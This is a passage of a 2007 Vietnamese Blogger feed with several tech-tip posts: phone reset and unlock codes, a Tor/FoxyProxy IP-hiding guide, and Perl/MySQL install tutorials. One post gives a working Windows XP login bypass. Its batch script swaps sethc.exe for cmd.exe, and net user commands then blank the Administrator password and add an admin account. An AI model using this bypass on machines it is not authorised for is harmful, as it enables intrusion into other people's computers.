Reset&lt;br /&gt;- Hard Reset: Power + Soft Reset&lt;br /&gt;- Enter Bootloader: Dpad (Nút chính giữa) + HardReset&lt;br /&gt;&lt;br /&gt;e- Dòng máy Universal (O2 Xda Exec / Dopod 900 / Qtek 9000/T-Mobile MDA Pro/ I-mate JASJAR):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ Reset&lt;br /&gt;- Hard Reset: Messages + Calendar + Soft Reset   è sau đó ấn phím 0&lt;br /&gt;- Enter Bootloader: Power + Record + Camera + Đèn + Soft Reset&lt;br /&gt;&lt;br /&gt;f- Dòng máy Wizard (O2 Xda II mini S/Qtek 9100 / I-mate K-JAM / T-Mobile MDA Vario):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ Reset&lt;br /&gt;- Hard Reset: Comm Manager + Record + Power +  Camera + Soft Reset è ấn phím Gọi&lt;br /&gt;- Enter Bootloader: Power +  Camera + Soft Reset&lt;br /&gt;&lt;br /&gt;6 . Một số lệnh Reset cho LG 3G&lt;br /&gt;&lt;br /&gt;        LG 8110, 8120 : 277634#*#&lt;br /&gt;LG 8130, 8138 : 47328545454#&lt;br /&gt;LG 8380 : 525252#*#&lt;br /&gt;LG 8360 : *6*41*12##&lt;br /&gt;LG 8180v10A :498 574 654 54#&lt;br /&gt;LG 8180v11A : 492 662 464 663#&lt;br /&gt;LG 8330 : 637664#*#&lt;br /&gt;&lt;br /&gt;LG reset&lt;br /&gt;2945#*#&lt;br /&gt;unlock by IMEI 1945#*5101#&lt;br /&gt;&lt;br /&gt;LG C3100...... 2945#*5101#&lt;br /&gt;LG B1200...... 1945#*5101#&lt;br /&gt;LG 7020...... 2945#*70001#&lt;br /&gt;LG W510...... 2945#*5101#MENU&lt;br /&gt;LG C1200...... 2945#*1201#&lt;br /&gt;&lt;br /&gt;          LG 8550 : 885508428679#*#&lt;br /&gt;&lt;br /&gt;7 . Mã lệnh Reset mã bảo vệ cho Alcatel&lt;br /&gt;&lt;br /&gt;          - Alcatel HD1 &amp;amp; HE1: 25228353.&lt;br /&gt;- Alcatel BE1 &amp;amp; BE3: 25228352.&lt;br /&gt;- Alcatel BE4 &amp;amp; BE5: 83227423&lt;br /&gt;- Alcatel BF3 &amp;amp; BF4: 83227423&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8 . Lệnh chuyển đổi nhanh ngôn ngữ của máy Nec&lt;br /&gt;*00039# - Italy&lt;br /&gt;*00044# - UK English&lt;br /&gt;*00045# - Denmark&lt;br /&gt;*00046# - Sweden&lt;br /&gt;*00047# - Norway// not av&lt;br /&gt;*00048# - Poland// not av&lt;br /&gt;*00033# - France&lt;br /&gt;*00049# - Germany&lt;br /&gt;*00086# - China&lt;br /&gt;&lt;br /&gt;Các máy của máy Sharp 2G (và một số máy 3G)&lt;br /&gt;&lt;br /&gt;*01763*278257# Assert Fail Log clear&lt;br /&gt;*01763*2783771#&lt;br /&gt;*01763*2783772#&lt;br /&gt;*01763*2783773#&lt;br /&gt;*01763*2783774#&lt;br /&gt;*01763*2783775#&lt;br /&gt;*01763*3640# disable Engineering Mode&lt;br /&gt;*01763*3641# enable Engineering Mode&lt;br /&gt;*01763*4634# IMEI&lt;br /&gt;*01763*5640# disable LOG&lt;br /&gt;*01763*5641# enable LOG&lt;br /&gt;*01763*6365641#&lt;br /&gt;*01763*6370# disable MEP menue (unlock menue)&lt;br /&gt;*01763*6371# enable MEP menue (unlock menue)&lt;br /&gt;*01763*63866330# disable NetMode&lt;br /&gt;*01763*63866331# enable NetMode&lt;br /&gt;*01763*753371# Sleep Check&lt;br /&gt;*01763*8371# Firmware Version&lt;br /&gt;*01763*8781# Test #1&lt;br /&gt;*01763*8782# Test #2&lt;br /&gt;*01763*8783# Test #3&lt;br /&gt;*01763*8784# Test #4&lt;br /&gt;*01763*8785# Test #5&lt;br /&gt;*01763*8786# Test #6&lt;br /&gt;*01763*8787# Test #7&lt;br /&gt;*01763*87870# Test #70&lt;br /&gt;*01763*87871# Test #71&lt;br /&gt;*01763*87872# Test #72&lt;br /&gt;*01763*87873# Test #73&lt;br /&gt;*01763*87874# Test #74&lt;br /&gt;*01763*8788# Test #8&lt;br /&gt;*01763*87891#&lt;br /&gt;*01763*87892#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-3661283196197239100?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/3661283196197239100/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=3661283196197239100' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/3661283196197239100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/3661283196197239100'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/09/kha-sim-kha-m-kha-mng-v-nhng-m-lnh-khc.html' title='Khóa Sim, khóa mã, khóa mạng và những mã lệnh khắc phục sự cố trong máy di động'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-7789473625571479015</id><published>2007-09-19T19:02:00.000-07:00</published><updated>2007-09-19T19:18:06.541-07:00</updated><title type='text'>Hack Password của Administrator trong Windows XP</title><content type='html'>&lt;div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a onclick="MosImageExt_popup('images/stories/comptips/200709/sethc-0.jpg','230','200','','bottom',''); return false;" href="http://www.helloict.com/images/stories/comptips/200709/sethc-0.jpg" target="_blank"&gt;&lt;/a&gt;Hiện nay không có quá nhiều cách để phục hồi mật khẩu của tài khoản Administrator trong Windows bị quên mất. Có thể kể đến là dùng công cụ hỗ trợ của đĩa Hiren Boot để xóa trắng mật khẩu của tài khoản Administrator hay dùng các công cụ dò tìm mật khẩu trên Net. Tuy vậy, không phải lúc nào chúng ta cũng có công cụ để dùng. Nếu gặp những lúc như thế.... hãy lợi dụng lỗ hỏng của file sethc.exe trên Windows. &lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;Giải thích thủ thuật này (cho các chuyên gia... thích suy nghĩ)Trên Windows XP, nếu bạn nhấp phím Shift 5 lần, Windows sẽ gọi một chương trình nhỏ có tên là StickyKey. Đây là chương trình hỗ trợ người khuyết tật khi sử dụng Windows XP được đính kèm mặc đinh trong bộ tiện ích của Windows. Điều này có nghĩa là bạn có thể gọi chương trình này bằng phím tắt mà không cần đến giao diện thân thiện (1).Nếu bạn đăng nhập bằng tài khoản có tên User1 và nhấp phím Shift 5 lần để gọi chương trình này, Windows sẽ lấy quyền của User1 để gọi chương trình StickyKey. Nếu bạn không đăng nhập vào bất kỳ một tài khoản nào mà gọi được StickyKey thì Widnows sẽ lấy quyên của hệ thống (System) để chạy StickyKey (2).Từ giả định (1) và (2) trên, nếu bạn thay thế file thực thi của chương trình StickyKey (sethc.exe) bằng chương trình Command Run (cmd.exe) và gọi nó bằng 5 lần phím Shift mà không đăng nhập bằng tài khoản nào cả thì windows sẽ dùng quyền của Hệ thống (system) gọi file cmd.exe thay vì file sethc.exe. Thế là có thể làm bất cứ chuyện gì bằng tài khoản của cao nhất (quyền của Hệ thống) trên chương trình Command Run.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;Cách thực hiện thủ thuật này:&lt;/div&gt;&lt;div&gt;Bước 1: Vào windows với tài khoản User bình thường và nhấn 5 lần phím Shift để gọi thử chương trình StickyKey trên Windows và đóng nó lại (chỉ nhằm để xem thử).&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;img id="BLOGGER_PHOTO_ID_5112101964641942402" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_Cnb4qqsBVYY/RvHVptoPO4I/AAAAAAAAAAM/lxPUR_uAyuM/s320/sethc-1.png" border="0" /&gt;&lt;br /&gt;&lt;div&gt;Bước 2: Vào Start &gt;&gt; Run &gt;&gt; nhập vào Notepad và Enter để gọi chương trình Notepad.exe. Copy đoạn mã của mình viết, past vào notepad, Save lại với tên là Hackpass.bat&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;REM Visit www.helloICT.com to learn more tips and tricks&lt;/div&gt;&lt;br /&gt;&lt;div&gt;REM Ghe tham trang web www.helloict.com de doc nhieu thu thuat hay&lt;/div&gt;&lt;br /&gt;&lt;div&gt;REM ---------------------------------------------------------------&lt;/div&gt;&lt;br /&gt;&lt;div&gt;REM Coded by THC&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;cd %systemroot%/system32&lt;/div&gt;&lt;br /&gt;&lt;div&gt;rename sethc.exe sethc.exe.bk&lt;/div&gt;&lt;br /&gt;&lt;div&gt;copy cmd.exe sethc.exe /y&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;Sau đó nhấp kép chuột lên file Hackpass.bat để thực thi!&lt;/div&gt;&lt;div&gt;Đoạn mã này làm các nhiệm vụ sau:&lt;/div&gt;&lt;div&gt;1. Sao lưu lại file sethc.exe bằng cách đặt lại tên là sethc.exe.bk&lt;/div&gt;&lt;div&gt;2. Thay thế file sethc.exe bằng file cmd.exe&lt;/div&gt;&lt;div&gt;Đến đây, bạn nhấp phím Shift 5 lần, nếu chương trình Command Run được gọi thay vì chương trình StickyKey thì bạn đã thành công!&lt;/div&gt;&lt;img id="BLOGGER_PHOTO_ID_5112102892354878354" style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://1.bp.blogspot.com/_Cnb4qqsBVYY/RvHWftoPO5I/AAAAAAAAAAU/f6_0tmkFaN4/s320/sethc-2.png" border="0" /&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;Chương trình StickyKey đã được thay bằng Ccmmand Run&lt;br /&gt;&lt;br /&gt;Bước 3: Khởi động lại máy. Khi đến màn hình đăng nhập, bạn khoan hãy đăng nhập mà nhấn phím Shift 5 lần...... Lúc này chương trình Command Run xuất hiện, bạn nhập một trong những vào đoạn lệnh dưới đây&lt;br /&gt;&lt;br /&gt;Xóa trắng password của Administrator:&lt;br /&gt;net user Administrator&lt;br /&gt;---- &gt; nhấn phím Enter khi hoàn thành!&lt;br /&gt;&lt;br /&gt;Thêm một tài khoản Admin với mật khẩu là 123&lt;br /&gt;net user Admin 123 /add&lt;br /&gt;---- &gt; nhấn phím Enter khi hoàn thành!&lt;br /&gt;&lt;br /&gt;Gán tài khoản Admin vào nhóm quản trị:&lt;br /&gt;net localgroup Administrators Admin /add&lt;br /&gt;---- &gt; nhấn phím Enter khi hoàn thành!&lt;br /&gt;&lt;br /&gt;Nếu bạn sử dụng đúng cấu trúc lệnh phía trên, bạn sẽ tạo được các tài khoản mới. Tại đây, bạn có thể đăng nhập vào các tài khoản mới mà không cần khởi động lại máy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-7789473625571479015?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/7789473625571479015/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=7789473625571479015' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/7789473625571479015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/7789473625571479015'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/09/hack-password-ca-administrator-trong.html' title='Hack Password của Administrator trong Windows XP'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Cnb4qqsBVYY/RvHVptoPO4I/AAAAAAAAAAM/lxPUR_uAyuM/s72-c/sethc-1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-1789516325936019474</id><published>2007-07-22T05:44:00.000-07:00</published><updated>2007-07-22T05:45:03.950-07:00</updated><title type='text'>Cách Hide IP thong qua Fire Fox</title><content type='html'>Hôm nay tôi sẽ hướng dẫn các bạn một cách fake IP rất tốt và tiện lợi với TOR và FoxyProxy sử dụng kèm trình duyệt FireFox. Với cách fake IP này, bạn không bao giờ sợ bị lộ địa chỉ IP thật, bạn có thể thay đổi địa chỉ IP dễ dàng (một việc làm rất nhọc nhằn nếu sử dụng proxy thông thường), và tốc độ sau khi fake IP khá hơn nhiều so với sử dụng proxy, theo nhận định của tôi.&lt;br /&gt;&lt;br /&gt;Đầu tiên, nếu bạn chưa sử dụng Mozilla FireFox, hãy download và cài đặt nó ngay hôm nay. Đây là trình duyệt tốt nhất thế giới với những tính năng ưu việt mà không một trình duyệt nào khác sánh kịp. Ngoài ra nó còn có một hệ thống “extensions” (các công cụ bổ trợ) rất phong phú có thể đáp ứng mọi nhu cầu của bạn.&lt;br /&gt;&lt;br /&gt;- Cài đặt FireFox:&lt;br /&gt;Download: &lt;a href="http://www.mozilla.com/firefox/" target="_blank"&gt;http://www.mozilla.com/firefox/&lt;/a&gt;&lt;br /&gt;Cài đặt theo hướng dẫn của nhà sản xuất.&lt;br /&gt;&lt;br /&gt;Sau khi cài đặt FireFox, bạn cần cài đặt TOR và FoxyProxy.&lt;br /&gt;&lt;br /&gt;- Cài đặt TOR:&lt;br /&gt;Download: &lt;a href="http://tor.eff.org/" target="_blank"&gt;http://tor.eff.org/&lt;/a&gt;&lt;br /&gt;Chọn download gói đầu tiên trong danh sách (bao gồm các phần mềm TOR, Privoxy và Vidalia dành cho Window$). Cài đặt gói này theo mặc định (bạn có thể bỏ bớt Privoxy cũng được). Sau khi chương trình được khởi động, bạn sẽ thấy một icon mới xuất hiện trên khay hệ thống có hình củ hành bị gạch chéo màu đỏ. Nhấp chuột phải vào biểu tượng này, chọn “Start”, củ hành sẽ biến thành màu xanh lá. TOR đã chạy trên máy tính của bạn.&lt;br /&gt;&lt;br /&gt;Không giống các chương trình fake IP khác sử dụng các proxy cố định, TOR là một mạng riêng bao gồm một loạt các server tình nguyện được đặt khắp nơi trên thế giới. Đặc điểm của mạng TOR là mỗi nút trong mạng chỉ “biết” những nút liền kề với mình, và đường đi của dữ liệu trong mạng được thay đổi liên tục, do vậy một khi đã đi qua mạng TOR, không ai có thể truy ra địa chỉ IP thật của bạn.&lt;br /&gt;&lt;br /&gt;Nếu bạn có một đường truyền Internet mạnh và muốn tình nguyện “chia tải” cho mạng TOR, hãy nhấp chuột phải vào biểu tượng củ hành và chọn &lt;i&gt;Configure -&gt; Server&lt;/i&gt;, đánh dấu “Relay trafic for the TOR network”. Nếu không, bạn chỉ cần chọn “Start” và chờ củ hành biến thành màu xanh lá là đã có thể sử dụng mạng TOR.&lt;br /&gt;&lt;br /&gt;Bây giờ, khi TOR đã chạy ổn định, bạn cần cài đặt công cụ bổ trợ FoxyProxy.&lt;br /&gt;- Cài đặt FoxyProxy:&lt;br /&gt;Download: &lt;a href="https://addons.mozilla.org/firefox/2464/" target="_blank"&gt;https://addons.mozilla.org/firefox/2464/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sau khi cài đặt, bạn restart FireFox, FoxyProxy sẽ lần lượt hỏi bạn:&lt;br /&gt;1. “Có sử dụng mạng TOR hay không?” Trả lời: “Yes.”&lt;br /&gt;2. “Sử dụng TOR với Privoxy không?” Trả lời: “Without.”&lt;br /&gt;3. “Có định tuyến yêu cầu DNS qua mạng TOR không?” Trả lời: “Yes.”&lt;br /&gt;Thế là xong. Bây giờ, trong FireFox, bạn chọn Menu &lt;i&gt;Tools -&gt; Extensions -&gt; FoxyProxy -&gt; Options&lt;/i&gt;. Chọn Mode “Use proxies based on their pre-defined patterns and priorities,” chọn “TOR” trong danh sách, nhấp &lt;i&gt;Edit Selection -&gt; Patterns -&gt;Add New Pattern&lt;/i&gt; và thêm vào những địa chỉ trang web mà bạn muốn sử dụng với mạng TOR. Ví dụ, bạn muốn fake IP khi download từ hệ thống RapidShare, hãy bổ sung pattern “*rapidshare*”. Hoặc bạn muốn fake IP khi đăng ký các trang web sử dụng hệ thống billing CCBill, hãy thêm vào pattern “*ccbill*”, v.v…&lt;br /&gt;&lt;br /&gt;Tất cả đã sẵn sàng, bây giờ bạn có thể duyệt Web thoải mái như bình thường. Đối với các địa chỉ Web bình thường (ví dụ www.yahoo.com), FireFox vẫn sử dụng kết nối trực tiếp để đảm bảo tốc độ tối đa cho bạn, trong khi với các địa chỉ Web “đặc biệt” đã được bạn lên danh sách, FireFox sẽ chuyển request của bạn qua mạng TOR để fake IP. Nếu bạn muốn thay đổi địa chỉ IP (ví dụ khi download từ MegaUpload mà bị “exceed limit”), bạn chỉ việc tắt chương trình TOR đi rồi bật lại, TOR sẽ thiết lập một mạng mới hoàn toàn và do đó, địa chỉ IP của bạn cũng sẽ được đổi.&lt;br /&gt;&lt;br /&gt;Để cho chắc chắn, thỉnh thoảng bạn nên thử địa chỉ IP của mình với site: &lt;a href="http://www.stayinvisible.com/cgi-bin/iptest.cgi" target="_blank"&gt;http://www.stayinvisible.com/cgi-bin/iptest.cgi&lt;/a&gt;&lt;br /&gt;Nhớ là phải add địa chỉ site này vào pattern TOR nếu bạn muốn biết mình đang sử dụng IP nào trong mạng TOR.&lt;br /&gt;&lt;br /&gt;Chúc thành công.&lt;br /&gt;&lt;br /&gt;PS: Một số bạn gặp khó khăn khi add pattern. Nếu thấy rắc rối quá, bạn có thể làm thế này cho tiện: Mở Options của FoxyProxy, chọn "Mode: Use proxy TOR for All URLs". Khi đó bạn vào bất cứ trang web nào đều phải qua mạng TOR. Khi không cần fake IP nữa (chẳng hạn như cần download), bạn tắt hẳn FoxyProxy bằng cách chọn "Mode: Completele Disable FoxyProxy," khi đó bạn sẽ sử dụng IP thật bình thường.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;PS2: Các trình duyệt khác cũng có thể sử dụng mạng TOR chứ không phải chỉ có FireFox như tôi tưởng. (Ngốc ơi là ngốc &lt;img src="http://www.mocxi.com/moc/style_emoticons/default/smile.gif" style="vertical-align: middle;" emoid=":)" alt="smile.gif" border="0" /&gt;) Mạng TOR hoạt động như một Sock proxy level 5. Chỉ cần trình duyệt của bạn cho phép thiết lập Sock 5, bạn hãy gõ vào địa chỉ IP của localhost (127.0.0.1) và cổng mà bạn chọn cho TOR chạy (default là 9050). Dùng các trình duyệt khác dĩ nhiên không cần FoxyProxy.&lt;br /&gt;Nhưng dù sao tôi vẫn khoái FireFox &lt;img src="http://www.mocxi.com/moc/style_emoticons/default/smile.gif" style="vertical-align: middle;" emoid=":)" alt="smile.gif" border="0" /&gt;&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-1789516325936019474?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/1789516325936019474/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=1789516325936019474' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/1789516325936019474'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/1789516325936019474'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/cch-hide-ip-thong-qua-fire-fox.html' title='Cách Hide IP thong qua Fire Fox'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5653463868896433371</id><published>2007-07-06T00:08:00.003-07:00</published><updated>2007-07-06T00:08:54.183-07:00</updated><title type='text'>+ CÀI ĐẶT MICROSOFT INSTALLER</title><content type='html'>Download và Cài đặt Microsoft InstallerNếu bạn dùng Win9x hoặc WinNT 4 thì bạn cần phải download và cài Microsoft Installer trước khi tiếp tụ cài đặt các phần khác. Microsoft Installer dùng để cài đặt các file có phần mở rộng là .msi.&lt;br /&gt;Bạn có thể download Microsoft Installer ở đây: &lt;a href="http://www.diendantinhoc.net/tute/hethong/apache-mysql-php-perl/msi9x.zip"&gt;Win9x&lt;/a&gt; (1.45Mb), &lt;a href="http://www.diendantinhoc.net/tute/hethong/apache-mysql-php-perl/msint.zip"&gt;WinNT4&lt;/a&gt; (1.46Mb).&lt;br /&gt;Sau khi download phiên bản Microsoft Installer tương ứng với Windows mà bạn đang dùng, sau đó install vào máy của bạn và khởi động lại máy trước khi tiếp tục&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5653463868896433371?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5653463868896433371/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5653463868896433371' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5653463868896433371'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5653463868896433371'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/ci-t-microsoft-installer.html' title='+ CÀI ĐẶT MICROSOFT INSTALLER'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8372029886546059947</id><published>2007-07-06T00:08:00.001-07:00</published><updated>2007-07-06T00:08:31.556-07:00</updated><title type='text'>+ CÀI ĐẶT PERL</title><content type='html'>Download ActivePerlBạn có thể download &lt;a href="http://www.activeperl.com/" target="_blank"&gt;ActivePerl&lt;/a&gt; ở địa chỉ &lt;a href="http://downloads.activestate.com/ActivePerl/Windows/5.6/ActivePerl-5.6.1.630-MSWin32-x86.msi"&gt;http://downloads.activestate.com/ActivePerl/Windows/5.6/ActivePerl-5.6.1.630-MSWin32-x86.msi&lt;/a&gt; (hoặc tìm và download ở www.download.com).&lt;br /&gt;Cài đặt ActivePerlCác bước chi tiết cài đặt Apache được minh hoạ như sau (tôi dùng Win98SE và ActivePerl 5.6.0.616)&lt;br /&gt;Bước 1: Sau khi download ActivePerl, bạn double click lên file .msi vừa download, một hộp thoại sẽ hiện ra như hình bên. Bạn click vào nút Next để sang bước 2.&lt;br /&gt;Bước 2: Bạn chọn phần "I accept the terms in the license agreement" và nhấn Next để sang bước 3.&lt;br /&gt;Bước 3: Bạn chọn thư mục để cài Active (nhấn nút Change), mặc định là C:\Perl. Nhấn Next, rồi Next 1 lần nữa để bắt đầu cài đặt Apache.&lt;br /&gt;Bước 4: ActivePerl sẽ bắt đầu cài đặt các file vào đĩa cứng của bạn. Bạn chỉ có việc là...ngồi chờ.&lt;br /&gt;Bước 5: Sau khi ActivePerl đã cài đặt xong, nhấn Finish để kết thúc.&lt;br /&gt;Chạy thử Perl với ApacheBạn tạo 2 file hello.cgi và hello.pl trong thư mục c:\www\cgi-bin với nội dung như sau:&lt;br /&gt;#!c:\perl\bin\perl.exeprint "Content-type: text/html\n\n";print "Hello, world!";&lt;br /&gt;Chú ý là nếu bạn đã đặt thư mục C:\perl\bin vào trong PATH thì dòng đầu tiên bạn chỉ cần ghi là #!perl thay vì #!c:\perl\bin\perl.exe.&lt;br /&gt;Tiếp theo bạn mở IE và thử truy cập vào địa chỉ http://localhost/cgi-bin/hello.cgi và http://localhost/cgi-bin/hello.pl. Nếu bạn nhận được dòng chữ Hello, world! thì XIN CHÚC MỪNG! Bạn đã cài đặt thành công Perl rồi đó!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-8372029886546059947?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/8372029886546059947/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=8372029886546059947' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8372029886546059947'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/8372029886546059947'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/07/ci-t-perl.html' title='+ CÀI ĐẶT PERL'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-8000724414735092859</id><published>2007-07-06T00:07:00.003-07:00</published><updated>2007-07-06T00:13:09.869-07:00</updated><title type='text'>+ CÀI ĐẶT MYSQL</title><content type='html'>Download mySQLBạn có thể download mySQL for Windows tại địa chỉ: &lt;a href="http://www.mysql.com/downloads/index.html"&gt;http://www.mysql.com/downloads/index.html&lt;/a&gt;. Phiên bản hiện tại vào thời điểm bài tutorial này được viết là version 3.23, bạn có thể download trực tiếp tại đây: &lt;a href="http://www.mysql.com/Downloads/MySQL-3.23/mysql-3.23.46-win.zip"&gt;http://www.mysql.com/Downloads/MySQL-3.23/mysql-3.23.46-win.zip&lt;/a&gt; (12Mb).&lt;br /&gt;Cài đặt mySQLCác bước chi tiết cài đặt mySQL được minh hoạ như sau (tôi dùng Win98SE và mySQL 3.23.42 for Windows)&lt;br /&gt;Bước 1: Sau khi download mySQL, unzip các file vài một thư mục nào đó và chạy file setup.exe để bắt đầu cài đặt (xem hình bên). Bạn nhấn Next hai lần để sang bước 2.&lt;br /&gt;Bước 2: Bạn chọn thư mục để cài đặt mySQL, mặc định là C:\mysql. Nhấn Next để sang bước tiếp theo.&lt;br /&gt;Bước 3: Bạn chọn phần Custom và nhấn Next để sang bước tiếp theo.&lt;br /&gt;Bước 4: Bạn nhấn Next để sang bước tiếp theo, và tiếp tục nhấn Next để bắt đầu cài đặt mySQL.&lt;br /&gt;Bước 5: Sau khi mySQL đã cài đặt xong, bạn hãy chạy file winmysqladmin.exe trong thư mục C:\mysql\bin. Nếu là lần đầu tiên bạn chạy file này sau khi cài đặt, một hộp thoại sẽ hiện lên hỏi username và password của của người quản lý mySQL. Bạn nhập vào username và mật mã tuỳ bạn chọn (tôi chọn username là root và mật mã là password).&lt;br /&gt;Sau bước này, một icon hình đèn giao thông sẽ xuất hiện trên system tray của bạn. Nếu đèn hiệu đang ở màu xanh thì xem như mọi chuyện đã êm đẹp.&lt;br /&gt;Cài đặt phpMyAdminphpMyAdmin là một chương trình mySQL Client rất mạnh được viết bằng PHP. Bạn có thể dùng phpMyAdmin để truy cập vào database quản lý mySQL từ browser.&lt;br /&gt;Bạn có thể download phpMySQL ở đây: &lt;a href="http://sourceforge.net/project/showfiles.php?group_id=23067&amp;release_id=63838"&gt;http://sourceforge.net/project/showfiles.php?group_id=23067&amp;amp;release_id=63838&lt;/a&gt;Nếu đang dùng Windows, bạn có thể download file zip phiên bản mới nhất 2.2.2 của phpMyAdmin tại đây: &lt;a href="http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.2-php.zip"&gt;http://prdownloads.sourceforge.net/phpmyadmin/phpMyAdmin-2.2.2-php.zip&lt;/a&gt;&lt;br /&gt;Sau khi download, bạn unzip các file vào thư mục c:\www\phpmyadmin. Sau đó bạn mở file config.inc.php, tìm sửa các dòng sau.&lt;br /&gt;tìm dòng bắt đầu bằng $cfgServers[1]['host'], sửa thành $cfgServers[1]['host'] = 'localhost'; (connect vào localhost)&lt;br /&gt;tìm dòng bắt đầu bằng $cfgServers[1]['user'], sửa lại thành $cfgServers[1]['user'] = 'root'; (root là username mà bạn đã tạo ở trên)&lt;br /&gt;tìm dòng bắt đầu bằng $cfgServers[1]['password'], sửa lại thành $cfgServers[1]['password'] = 'password'; (password là mật mã bạn đã tạo ở trên)&lt;br /&gt;Lưu lại file config.inc.php, mở IE và truy cập vào địa chỉ http://localhost/phpmyadmin/index.php. Nếu bạn 